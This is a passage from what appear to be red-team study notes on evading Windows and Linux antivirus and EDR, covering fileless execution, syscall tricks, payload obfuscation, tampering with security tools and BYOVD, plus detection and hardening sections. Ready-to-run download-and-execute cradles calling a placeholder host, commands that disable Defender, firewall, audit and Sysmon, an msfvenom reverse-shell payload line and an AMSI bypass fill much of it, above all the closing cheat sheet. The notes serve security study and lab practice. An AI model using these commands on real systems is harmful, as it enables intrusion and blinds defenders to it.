  $data = (Get-ItemProperty HKCU:\Software\Update).Payload
  $dec = AESDecrypt([Convert]::FromBase64String($data), $key)
  # Execute $dec in memory

TECHNIQUE 3: WMI PERSISTENCE (no file)

  Permanent WMI event subscription:
    __EventFilter (trigger, e.g., process creation)
    __EventConsumer (action, e.g., run PowerShell)
    __FilterToConsumerBinding (link)
  Stored in WMI repository, no standalone file

TECHNIQUE 4: COM / SCROBJ SCRIPTLETS

  # Remote SCT execution:
  regsvr32 /s /n /u /i:http://x/payload.sct scrobj.dll
  # Scriptlet downloaded, executed in memory via COM

TECHNIQUE 5: REFLECTIVE DLL LOADING

  DLL with reflective loader (no LoadLibrary):
    - DLL contains its own loader
    - Shellcode (from Donut/sRDI) maps DLL into memory
    - Calls DllMain directly
    - Module never in PEB module list
    - No Sysmon 7 event

TECHNIQUE 6: SHELLCODE INJECTION (native)

  # Allocate RWX memory in own process:
  VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  # Copy shellcode into it
  # CreateThread(shellcode)
  # Or use fiber / APC execution

TECHNIQUE 7: MSHTA / REGSVR32 REMOTE

  mshta http://x/payload.hta
  regsvr32 /s /n /u /i:http://x/x.sct scrobj.dll
  # Payload fetched and executed in memory

TECHNIQUE 8: BITS JOBS (background intelligence transfer)
```

```
  bitsadmin /create job
  bitsadmin /addfile job http://x/payload.exe %TEMP%\p.exe
  bitsadmin /resume job
  # Executes in background, low priority

--------------------------------------------------------------------------------
9.3 FILELESS DETECTION
--------------------------------------------------------------------------------

  - AMSI (scans script content regardless of file)
  - ETW (process, network, registry events)
  - Memory scanning (YARA on process memory)
  - Network (download cradle = network connection)
  - Registry monitoring (Run keys, WMI)
  - Behavioral: PS + download + execute chain
  - Cloud ML: behavior sequence analysis

--------------------------------------------------------------------------------
9.4 SLEEP OBFUSCATION (EVADE MEMORY SCANNING)
--------------------------------------------------------------------------------

Problem: During sleep, shellcode sits in RWX memory, scanned by EDR.

Solution: Encrypt memory during sleep, decrypt to execute.

Techniques:
  - Ekko (timer-based encryption)
  - Foliage (VM-based sleep obfuscation)
  - DarkGate / various C2 frameworks implement this
  - Custom: XOR/AES encrypt shellcode buffer before sleep,
    decrypt after sleep, execute next stage

Concept (pseudo):
  while True:
    decrypt(shellcode)
    execute_stage()
    encrypt(shellcode)  # hide during sleep
    sleep(jitter)

================================================================================
10. UNHOOKING & DIRECT SYSCALLS
================================================================================

--------------------------------------------------------------------------------
10.1 UNHOOKING NT.DLL
--------------------------------------------------------------------------------

Concept: EDR installs userland hooks (JMP instructions) at the start
of Nt* functions in ntdll.dll. Unhooking restores clean ntdll.

Steps:
  1. Open KnownDlls section object: \\KnownDlls\\ntdll.dll
     (contains clean ntdll copy loaded at boot)
  2. MapViewOfFile -> clean ntdll in memory
  3. Get current ntdll base: GetModuleHandle("ntdll.dll")
  4. VirtualProtect current ntdll .text to RWX
  5. Copy clean bytes over hooked bytes
  6. Restore protection to RX

Tools implementing this:
  - Sysinternals: no (defensive tool)
  - Syswhispers / Hell's Gate libraries
  - Cobalt Strike BOF (unhookNTDLL)
  - SharpUnhook, inlineHook (GitHub)
  - Various C2 frameworks
```

```
Detection:
  - EDR detects VirtualProtect on ntdll memory
  - Memory integrity check: ntdll on disk != ntdll in memory
  - Behavioral: sudden "clean" API calls after unhook
  - Kernel callbacks still fire (unhooking only removes userland hooks)

Limitations:
  - Kernel callbacks unaffected
  - ETW kernel session unaffected
  - Memory integrity / HVCI detects modification
  - Some EDRs re-hook periodically

--------------------------------------------------------------------------------
10.2 DIRECT SYSCALLS
--------------------------------------------------------------------------------

Concept: Bypass userland hooks entirely by invoking syscalls directly,
skipping hooked ntdll functions.

Windows syscall convention (x64):
  mov r10, rcx        ; NT calling convention
  mov eax, <SSN>      ; System Service Number
  syscall
  ret

SSN = System Service Number (varies by Windows version)

Example:
  NtAllocateVirtualMemory = SSN 0x18 (example, varies)
  NtWriteVirtualMemory    = SSN 0x3A
  NtProtectVirtualMemory  = SSN 0x50
  NtCreateThreadEx        = SSN 0xC2

Syswhispers3 generates assembly stubs:
  Sw3NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 0x18          ; SSN
    syscall
    ret
  Sw3NtAllocateVirtualMemory ENP

Hell's Gate:
  - Dynamically resolves SSN at runtime from clean ntdll
  - Or from syscall gadget search if ntdll hooked

Halo's Gate:
  - If SSN lookup fails (hooked), search neighboring functions
  - Find unhooked neighbor, derive SSN by offset

Tartarus Gate:
  - Syscall gadget search (search for syscall; ret pattern)
  - More resilient to hooking

--------------------------------------------------------------------------------
10.3 INDIRECT SYSCALLS
--------------------------------------------------------------------------------

Concept: Get SSN from (possibly hooked) ntdll, but invoke syscall via
unhooked syscall gadget elsewhere in ntdll.

Steps:
  1. Parse ntdll to find SSN (even if hooked, SSN is in function body)
  2. Find a clean "syscall; ret" gadget in ntdll
  3. Jump to gadget with SSN in eax

Advantages:
```

```
  - Doesn't call hooked Nt* function
  - Doesn't need unhooking
  - Call stack looks more legitimate (return to ntdll)

Tools:
  - Syswhispers3 (indirect mode)
  - Halo's Gate / Tartarus Gate variants

--------------------------------------------------------------------------------
10.4 SYSCALL EVASION DETECTION
--------------------------------------------------------------------------------

  - EDR kernel driver monitors syscall patterns
  - Unusual syscall numbers or sequences
  - Syscall from non-ntdll memory region
  - Syscall with unexpected stack / return address
  - Behavioral: unusual API call order
  - Kernel minifilter still catches file/registry ops
  - ETW kernel session still active

Modern EDRs:
  - Some use kernel-mode hooks that syscall can't bypass
  - Hypervisor-based detection (some EDRs)
  - Memory integrity (CI.dll, HVCI)

================================================================================
11. PAYLOAD OBFUSCATION & EVASION
================================================================================

--------------------------------------------------------------------------------
11.1 STATIC EVASION (AV BYPASS)
--------------------------------------------------------------------------------

TECHNIQUE 1: ENCRYPTION / PACKING

  # Encrypt payload, decrypt in memory at runtime:
  # XOR / AES / custom cipher
  # Payload on disk is high-entropy (may trigger packing detection)

  # Tools:
  - ScareCrow (payload obfuscation + encryption)
  - NimPackT (Nim payload packing)
  - Donut (convert to shellcode)
  - sRDI (DLL to reflective shellcode)
  - msfvenom encoders (basic, signatured)

TECHNIQUE 2: POLYMORPHIC / METAMORPHIC

  # Code mutates each generation:
  # - Register reassignment
  # - Instruction substitution
  # - Dead code insertion
  # - Code transposition
  # Signature-based AV fails

TECHNIQUE 3: EVASION-AWARE BUILDERS

  - ScareCrow: generates evasion-optimized payloads
  - NimPacks: Nim-based payloads (smaller, less signatured)
  - Custom C++ / Rust / Go payloads (language diversity)
  - Hyperion (PE crypter)

TECHNIQUE 4: LEGITIMATE SIGNED BINARY ABUSE

  - Sign payload with stolen/leaked cert (expensive)
  - Inject into signed process (module stomping)
```

```
  - Use LOLBins (signed Microsoft binaries)

TECHNIQUE 5: STRING / API OBFUSCATION

  # Avoid suspicious strings:
  - Change "mimikatz" -> random string
  - API hashing (resolve APIs by hash, not name)
  - Dynamic API loading (GetProcAddress with obfuscated name)
  - Custom PE loader (avoid IAT signatures)

--------------------------------------------------------------------------------
11.2 DYNAMIC EVASION (BEHAVIOR OBFUSCATION)
--------------------------------------------------------------------------------

TECHNIQUE 1: SLEEP / TIMING

  # Add jitter, random delays between stages
  # Avoid fixed intervals (easy beacon detection)
  # Cobalt Strike: sleep 60s, jitter 20%

TECHNIQUE 2: API CALL OBFUSCATION

  # Insert benign API calls between suspicious ones
  # Break behavior chains EDRs look for
  # E.g., call GetTickCount, QueryPerformanceCounter between stages

TECHNIQUE 3: PROCESS CONTEXT OBFUSCATION

  - PPID spoofing (parent appears as explorer.exe)
  - Spawn in benign process (not cmd.exe / powershell.exe)
  - Module stomping (code appears in legit DLL)

TECHNIQUE 4: NETWORK OBFUSCATION

  - Encrypt all C2 traffic (HTTPS, custom protocols)
  - Domain fronting / CDN abuse
  - DNS tunnelling
  - Slow beacon timing
  - Mimic legitimate protocols (HTTP with valid headers)

--------------------------------------------------------------------------------
11.3 PAYLOAD BUILDING TOOLS
--------------------------------------------------------------------------------

  ScareCrow:
    https://github.com/optiv/ScareCrow
    # Generates evasion-optimized payloads (C#, Go, C++, etc.)

  Donut:
    https://github.com/TheWover/donut
    # .NET / native / exe / dll -> position-independent shellcode

  NimPackT:
    # Nim-based payload packing

  msfvenom:
     msfvenom -p windows/x64/meterpreter/reverse_https LHOST=... LPORT=443 -e x86/x64/xor -i 3 -f exe
-o paylo
    # -e encoder, -i iterations

  Hyperion:
    # PE crypter for runtime encryption

  Native payload compilers:
    - Go: go build (static, larger, less signatured)
    - Rust: cargo build (memory safe, less signatured)
    - C++: custom, control flow obfuscation
```

```
================================================================================
12. AV/EDR DISABLING & TAMPERING
================================================================================

--------------------------------------------------------------------------------
12.1 WINDOWS DEFENDER TAMPERING
--------------------------------------------------------------------------------

# All require admin + Tamper Protection OFF (enterprise may lock this)

Disable real-time protection:
  Set-MpPreference -DisableRealtimeMonitoring $true

Add exclusions (so payload is ignored):
  Add-MpPreference -ExclusionPath "C:\Temp"
  Add-MpPreference -ExclusionProcess "malware.exe"
  Add-MpPreference -ExclusionExtension ".ps1"

Disable behavior monitoring:
  Set-MpPreference -DisableBehaviorMonitoring $true
  Set-MpPreference -DisableIOAVProtection $true
  Set-MpPreference -DisableScriptScanning $true

Disable cloud protection:
  Set-MpPreference -MAPSReporting Disabled
  Set-MpPreference -SubmitSamplesConsent NeverSend

Query status:
  Get-MpComputerStatus
  Get-MpPreference

Registry (may be blocked by Tamper Protection):
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1
/f

Stop service:
  sc stop WinDefend
  sc config WinDefend start=disabled

Tamper Protection notes:
  - Prevents registry/service modifications
  - Requires kernel-level techniques to bypass (out of scope for most labs)
  - Enterprise MDE manages Tamper Protection remotely

--------------------------------------------------------------------------------
12.2 EDR AGENT TAMPERING
--------------------------------------------------------------------------------

Each EDR has unique tamper protection. General concepts:

  - Stop service (usually protected)
  - Uninstall via vendor uninstaller (needs admin + key)
  - Modify config via registry (usually protected)
  - Kill process (protected, restarts)
  - Block communication to cloud (network layer)

Detection:
  - EDR logs tampering attempts immediately
  - Cloud alert on agent status change
  - Tamper Protection prevents most userland attacks

Advanced (out of scope for most labs):
  - Kernel driver exploit to disable EDR
  - BYOVD (see section 13)
  - Memory patching of EDR agent (risky, signatured)
```

12.3 SECURITY TOOL DISABLING

```
  # Disable Windows Firewall:
  netsh advfirewall set allprofiles state off
  netsh advfirewall set domainprofile state off

  # Disable via registry:
                                                                  reg                                  add
"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v En

  # Disable audit policy (see previous notes section 5)
  auditpol /set /category:* /success:disable /failure:disable

  # Disable Sysmon:
  Sysmon64.exe -u force

  # Disable ELAM (Early Launch Antimalware):
  # Requires reboot, admin, may be blocked by Secure Boot
```

==========
13. BYOVD (BRING YOUR OWN VULNERABLE DRIVER)
==========

13.1 CONCEPT

```
Attackers use legitimately-signed but VULNERABLE drivers to disable
security software from kernel mode.

Why it works:
  - Signed drivers are trusted by Windows
  - ELAM allows signed drivers to load early
  - Vulnerable driver gives kernel code execution
  - Can disable EDR kernel callbacks / minifilters

Examples of abused vulnerable drivers (historical):
  - dbutil_2_3.sys (Dell) - CVE-2021-21551
  - RTCore64.sys (MSI Afterburner) - arbitrary kernel R/W
  - gdrv.sys (Gigabyte) - CVE-2018-19320
  - WinRing0.sys (various) - arbitrary MSR access
  - Many others (see "Vulnerable Drivers" list by Microsoft)
```

13.2 ATTACK FLOW

```
  1. Load vulnerable signed driver (via service creation)
  2. Use driver's IOCTL interface for kernel R/W
  3. Patch EDR kernel structures:
     - Unlink EDR callbacks from PsSetCreateProcessNotifyRoutine
     - Disable minifilter via FltUnregisterFilter
     - Patch EDR kernel driver code
  4. EDR is "blind" in kernel
  5. Now userland injection/evasion succeeds more easily
```

13.3 DEFENSE

```
  - Microsoft Vulnerable Driver Blocklist (Smart App Control)
  - HVCI / Memory Integrity (blocks vulnerable driver loading)
  - Secure Boot
  - Driver signature enforcement
```

```
  - EDR drivers now protected by ELAM + PatchGuard

NOTE: BYOVD is advanced, risky (can BSOD), and largely mitigated on
modern systems with HVCI + Secure Boot. Out of scope for most labs.

================================================================================
14. LINUX RUNTIME EVASION
================================================================================

--------------------------------------------------------------------------------
14.1 LINUX DETECTION STACK
--------------------------------------------------------------------------------

  - auditd (execve, file access, syscall logging)
  - AppArmor / SELinux (mandatory access control)
  - ClamAV / commercial AV
  - Wazuh / OSSEC (HIDS)
  - Falco (eBPF-based runtime security)
  - Cilium Tetragon (eBPF)
  - Sysdig (syscall-level monitoring)
  - eBPF LSM (Linux Security Module)

--------------------------------------------------------------------------------
14.2 EVASION TECHNIQUES
--------------------------------------------------------------------------------

TECHNIQUE 1: IN-MEMORY EXECUTION

  # Linux bash in-memory:
  bash -c "$(curl -s http://x/payload.sh)"

  # Python in-memory:
  python3 -c "exec(__import__('base64').b64decode('...'))"

  # Perl:
  perl -e 'system("...")'

TECHNIQUE 2: EBPF EVASION (Falco / Tetragon)

  # If Falco uses eBPF, detect via:
  - Check /sys/fs/bpf for eBPF programs
  - Unload eBPF programs (needs CAP_SYS_ADMIN)
  - Use syscalls that aren't monitored

TECHNIQUE 3: AUDITD EVASION

  # See previous notes section 4.4
  # auditctl -D  (delete rules)
  # auditctl -e 0  (disable)

TECHNIQUE 4: LD_PRELOAD HIJACKING

  # Intercept library calls via LD_PRELOAD:
  # Create malicious .so, set LD_PRELOAD before exec
  # Bypass: static binaries, direct syscalls

TECHNIQUE 5: PROCESS INJECTION (Linux)

  # ptrace-based injection:
  ptrace(PTRACE_ATTACH, target)
  ptrace(PTRACE_POKETEXT, target, addr, shellcode)
  ptrace(PTRACE_DETACH, target)

  # /proc/pid/mem write:
  echo -ne '\x...' >> /proc/pid/mem

  # LD_PRELOAD injection into new process
```

```
TECHNIQUE 6: KERNEL MODULE ROOTKIT (advanced)

  # Load kernel module to hide processes/files/network
  # Requires CAP_SYS_MODULE, disabled Secure Boot / module signing
  # Detected by: rkhunter, chkrootkit, AIDE, manual analysis

TECHNIQUE 7: SYSCALL EVASION (Linux)

  # Direct syscalls (bypass libc hooks / seccomp):
  syscall(SYS_mmap, ...)
  syscall(SYS_execve, ...)

  # eBPF-based seccomp filtering can be bypassed with:
  # - Direct syscalls
  # - Kernel exploits
  # - io_uring (bypasses seccomp on some kernels)

TECHNIQUE 8: CONTAINER EVASION

  # If in container:
  # - Privilege escalation to host
  # - Break out via kernel exploit
  # - Mount host filesystem
  # - Load kernel module on host

--------------------------------------------------------------------------------
14.3 LINUX TOOLS
--------------------------------------------------------------------------------

  # Payloads:
  - sliver / mythic / havoc (Linux agents)
  - dwight (Rust agent)
  - Various Go-based agents

  # Evasion:
  - LD_PRELOAD libraries
  - eBPF program loading
  - Custom syscall shellcode

  # Detection (to evade):
  - Falco rules
  - Auditd rules
  - Wazuh / OSSEC

================================================================================
15. EDR DETECTION TECHNIQUES (BLUE TEAM VIEW)
================================================================================

--------------------------------------------------------------------------------
15.1 USERLAND HOOKING
--------------------------------------------------------------------------------

How it works:
  - EDR DLL injects JMP at start of Nt* functions
  - When code calls NtAllocateVirtualMemory, EDR sees it first
  - EDR analyzes, then forwards to real function

APIs hooked (typical):
  NtAllocateVirtualMemory, NtProtectVirtualMemory
  NtWriteVirtualMemory, NtReadVirtualMemory
  NtCreateThreadEx, NtOpenProcess
  NtWriteFile, NtCreateFile
  LdrLoadDll, LdrGetProcedureAddress

Bypass: Direct syscalls (section 10)
```

15.2 KERNEL CALLBACKS

- PsSetCreateProcessNotifyRoutineEx: process create/terminate
- PsSetCreateThreadNotifyRoutine: thread create
- PsSetLoadImageNotifyRoutine: DLL/driver load
- ObRegisterCallbacks: handle open (protects lsass)
- CmRegisterCallbackEx: registry operations
- Minifilter (IRP_MJ_*): file I/O
- WFP: network

Bypass: Cannot bypass from userland. Must use:
- Less-signatured techniques (still fire callbacks, but less suspicious)
- Kernel exploits to unlink callbacks
- BYOVD (section 13)

15.3 MEMORY SCANNING

How it works:
- YARA rules on process memory
- Periodic or event-triggered scans
- Search for shellcode patterns, known tool memory signatures

Bypass:
- Encrypt memory during sleep (section 9.4)
- Use less-signatured shellcode
- Reflective loading (no module in list)
- Direct syscalls (avoid userland signatures)

15.4 BEHAVIORAL ANALYSIS

How it works:
- Sequence-based: chain of events = malicious pattern
- Example chain:
  Process create (cmd) -> child (powershell) -> download cradle
  -> VirtualAlloc(RWX) -> WriteProcessMemory -> CreateRemoteThread
  -> network connect to C2

Bypass:
- Sleep between steps (break chain)
- PPID spoofing (appear as benign parent)
- Module stomping (code in legit DLL)
- Use LOLBins (blend with admin activity)
- Low-and-slow timing

15.5 ETW-BASED DETECTION

- Microsoft-Windows-Threat-Intelligence: detects injection, AMSI
  bypass, ETW patching, LSASS access in real-time
- Kernel ETW: process, thread, image, registry, network
- CLR ETW: .NET assembly load, method JIT, reflection

Bypass:
- Patch userland ETW (limited effectiveness)
- Kernel ETW cannot be patched from userland
- Reduce suspicious API usage
- Use native code instead of PowerShell/.NET

15.6 AMSI DETECTION

- Content-based: scans script text before execution
- Provider: Defender or 3rd party AV
- Blocks execution if signature match

Bypass:
- AMSI bypass (section 4) - risky, signatured
- String obfuscation (breaks signatures)
- Custom tooling (not signatured)
- Avoid PowerShell entirely

15.7 CLOUD ML DETECTION

How it works:
- Behavior events sent to cloud
- ML model analyzes sequences across processes, users, hosts
- Detects anomalies even if each step is "normal"

Bypass:
- Mimic normal admin behavior exactly
- Use valid credentials (T1078)
- Low-and-slow
- Blend with business-hour activity
- Avoid triggering high-fidelity signals (lsass, injection)

==========

16. MITIGATIONS & EDR COUNTERMEASURES

==========

16.1 MICROSOFT DEFENDER

- AMSI integration (script scanning)
- ETW-based telemetry
- Attack Surface Reduction (ASR) rules
- Controlled Folder Access
- Exploit Protection (CFG, ACG, DEP)
- Network Protection
- SmartScreen

ASR Rules relevant to runtime evasion:
- Block executable content from email
- Block Office apps from creating child processes
- Block JavaScript/VBScript from launching downloaded content
- Block executable files from running unless prevalence/age/trust
- Block process creations from PS/WMI
- Block untrusted/unsigned processes from USB
- Block Office apps from injecting code

16.2 MODERN EDR FEATURES

- Kernel minifilter (file I/O)
- ELAM (Early Launch Antimalware)
- HVCI (Hypervisor-protected Code Integrity)
- PPL (Protected Process Light) on lsass/csrss
- Credential Guard
- AMSI + ETW TI integration

- Cloud ML behavior analytics
- Memory integrity checks
- Network TLS inspection (JA3, SNI)

16.3 HARDENING CHECKLIST

Windows:
- Enable HVCI / Memory Integrity
- Enable Credential Guard
- Enable PPL on lsass (RunAsPPL)
- Enable AMSI + Script Block Logging
- Deploy ASR rules
- Enable Attack Surface Reduction
- Use AppLocker / WDAC
- Enable Sysmon with comprehensive config
- Centralized logging (WEF + SIEM)
- Keep EDR agent updated

Linux:
- Enable auditd with immutable rules
- Deploy Wazuh / Falco
- Enable SELinux / AppArmor
- Enable eBPF LSM
- Centralized syslog
- Module signing / Secure Boot
- seccomp / AppArmor profiles for containers

Network:
- Egress filtering
- DNS filtering
- TLS inspection
- NetFlow monitoring
- NDR (Network Detection & Response)

==========

17. TOOLS REFERENCE

==========

17.1 OFFENSIVE EVASION TOOLS

AMSI / ETW:
- AMSITrigger (find triggering strings)
- Invoke-Obfuscation (obfuscate PS)
- SharpAMSI, AmsiBypass (GitHub)
- ETWp / ETWPatcher

Injection:
- Metasploit (migrate, inject)
- Cobalt Strike (inject, spawnf)
- Mythic / Sliver / Havoc
- Syswhispers3 (direct syscalls)
- Hell's Gate / Halo's Gate / Tartarus Gate

Payload:
- Donut (.NET -> shellcode)
- sRDI (DLL -> reflective shellcode)
- ScareCrow (evasion-optimized payloads)
- NimPackT (Nim packing)
- msfvenom (basic encoding)

Obfuscation:

    - Invoke-Obfuscation (PowerShell)
    - Chameleon (PS obfuscator)
    - ConfuserEx / Obfuscar (.NET)

  Analysis (defensive / understanding):
    - ProcDump / Process Explorer (Sysinternals)
    - WinDbg (kernel debugging)
    - x64dbg / x32dbg (userland debugging)
    - API Monitor
    - Wireshark (network)
    - PEStudio (PE analysis)

17.2 DEFENSIVE / DETECTION TOOLS

  - Sysmon (high-fidelity telemetry)
  - Wazuh / OSSEC (HIDS + SIEM)
  - Falco (eBPF runtime security)
  - Cilium Tetragon (eBPF)
  - Zeek (network)
  - Suricata (IDS)
  - Velociraptor (forensics)
  - KAPE (artifact collection)
  - ELK stack (log analysis)
  - Security Onion (full NSM)

17.3 LAB SETUP TOOLS

  Windows:
    - Windows 10/11 VM (Evaluation ISOs)
    - Sysinternals suite
    - Sysmon + SwiftOnSecurity config
    - Atomic Red Team
    - x64dbg / WinDbg
    - API Monitor
    - Process Hacker / Process Explorer

  Linux:
    - Kali / Parrot (attacker)
    - Ubuntu / CentOS (target)
    - auditd + Falco
    - Wazuh agent

  Detection stack:
    - Wazuh (free SIEM + HIDS)
    - Security Onion (full distro)
    - ELK stack

==========
18. LAB PRACTICE & RESOURCES
==========

18.1 PRACTICE PLATFORMS

  TryHackMe:
    - "Windows Evasion" room
    - "AntiVirus Evasion" room
    - "Pivoting, Tunnelling & Port Forwarding"
    - "Cobalt Strike" rooms (if available)
    - "Windows Kernel Exploitation" (advanced)

```
  HackTheBox:
    - Various Windows machines requiring evasion
    - "CyberDefenders" challenges
    - "Shibes" (log analysis)

  CyberDefenders:
    - Free blue team CTFs

  LetsDefend:
    - SOC analyst platform

  Purple Team Labs:
    - Atomic Red Team (test detection coverage)
    - CALDERA (adversary emulation)
    - DetectionLab (Vagrant + WEF + Splunk + Sysmon)

  MalwareBazaar / ANY.RUN:
    - Analyze real malware samples safely (sandbox)

--------------------------------------------------------------------------------
18.2 ATOMIC RED TEAM
--------------------------------------------------------------------------------

  git clone https://github.com/redcanaryco/atomic-red-team

  Run tests mapped to ATT&CK:
    Invoke-AtomicTest T1055.001    # DLL Injection
    Invoke-AtomicTest T1055.012    # Process Hollowing
    Invoke-AtomicTest T1562.001    # Disable Tools

  Test YOUR detection for each technique.

--------------------------------------------------------------------------------
18.3 HOME LAB PROJECTS
--------------------------------------------------------------------------------

  Project 1: AMSI Bypass Testing
    - Write PS script, trigger AMSI
    - Try various bypasses, observe which work
    - Test against Defender + 3rd party AV

  Project 2: Process Injection Lab
    - Implement classic DLL injection (educational C#)
    - Observe Sysmon / EDR detection
    - Try alternate injection methods

  Project 3: Syscall Evasion
    - Compile Syswhispers3 payload
    - Compare behavior vs hooked calls
    - Observe EDR response

  Project 4: In-Memory Execution
    - Donut: convert .NET to shellcode
    - Load in memory, observe no disk artifacts
    - Compare to file-based execution

  Project 5: Detection Engineering
    - Deploy Sysmon + Wazuh
    - Run Atomic tests
    - Tune detection rules for each technique

--------------------------------------------------------------------------------
18.4 KEY READING
--------------------------------------------------------------------------------

  - MITRE ATT&CK: https://attack.mitre.org/tactics/TA0005/
```

```
  - PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
  - LOLBAS: https://lolbas-project.github.io/
  - Atomic Red Team: https://github.com/redcanaryco/atomic-red-team
  - MITRE Engenuity ATT&CK Evaluations (EDR evaluations)
  - "The Art of Evasion" (various blog posts)
  - "Windows Internals" book (Russinovich)
  - "A Guide to Kernel Exploitation" (advanced)

  Blogs:
    - Elastic Security Labs
    - CrowdStrike blog
    - SentinelOne blog
    - Microsoft Security blog
    - Hexacorn
    - ired.team
    - modexp

--------------------------------------------------------------------------------
18.5 CEH / OSCP / CRTO RELEVANCE
--------------------------------------------------------------------------------

  CEH: Basic AV evasion concepts, encoding
  OSCP: Limited runtime evasion needed, focus on methodology
  CRTO (Certified Red Team Operator):
    - Cobalt Strike deep dive
    - AMSI/ETW bypass
    - Process injection
    - In-memory execution
    - Lateral movement with evasion
  CRTP / CRTE: AD-focused, includes some evasion

================================================================================
19. QUICK CHEAT SHEET
================================================================================

AMSI BYPASS (classic - educational):

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,
Stati

ETW PATCH (concept):
  # Patch EtwEventWrite in ntdll with xor eax,eax; ret

POWERSHELL EVASION:
  powershell -nop -w hidden -enc <base64>
  IEX (New-Object Net.WebClient).DownloadString('http://x/p.ps1')
  [Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,$null)

INJECTION CONCEPTS:
  VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread (classic)
  Module Stomp: LoadLibrary -> overwrite DLL .text
  Process Hollow: CreateProcess(suspended) -> Unmap -> Write -> Resume

SYSWHISPERS3 DIRECT SYSCALL:
  mov r10, rcx
  mov eax, <SSN>
  syscall
  ret

DONUT (.NET -> shellcode):
  donut -f payload.exe -o payload.bin

SCARECROW (evasion payload):
  python3 Crow.py -p payload.exe -csharp -Amsi Bypass -Etwp Bypass
```

```
DEFENDER EXCLUSIONS (admin):
  Add-MpPreference -ExclusionPath "C:\Temp"
  Set-MpPreference -DisableRealtimeMonitoring $true

SLEEP OBFUSCATION (concept):
  encrypt(shellcode) -> sleep(jitter) -> decrypt -> execute

UNHOOKING (concept):
  Map \\KnownDlls\\ntdll.dll -> copy clean bytes over hooked ntdll

KEY TAKEAWAY:
  Runtime evasion is a layered game: static (AV signatures), dynamic
  (AMSI/ETW/hooks), and behavioral (EDR analytics). No single technique
  wins - combine multiple layers, use less-signatured methods, move
  slowly, and assume kernel-level detection is always watching.

================================================================================
END OF NOTES
================================================================================

LEGAL REMINDER: Only use these techniques in authorized environments.
Always obtain written permission. Unauthorized computer access is
illegal under laws like the CFAA (US), Computer Misuse Act (UK), IT Act
(India), and similar laws worldwide.

Stay within scope. Document everything. Report responsibly.
```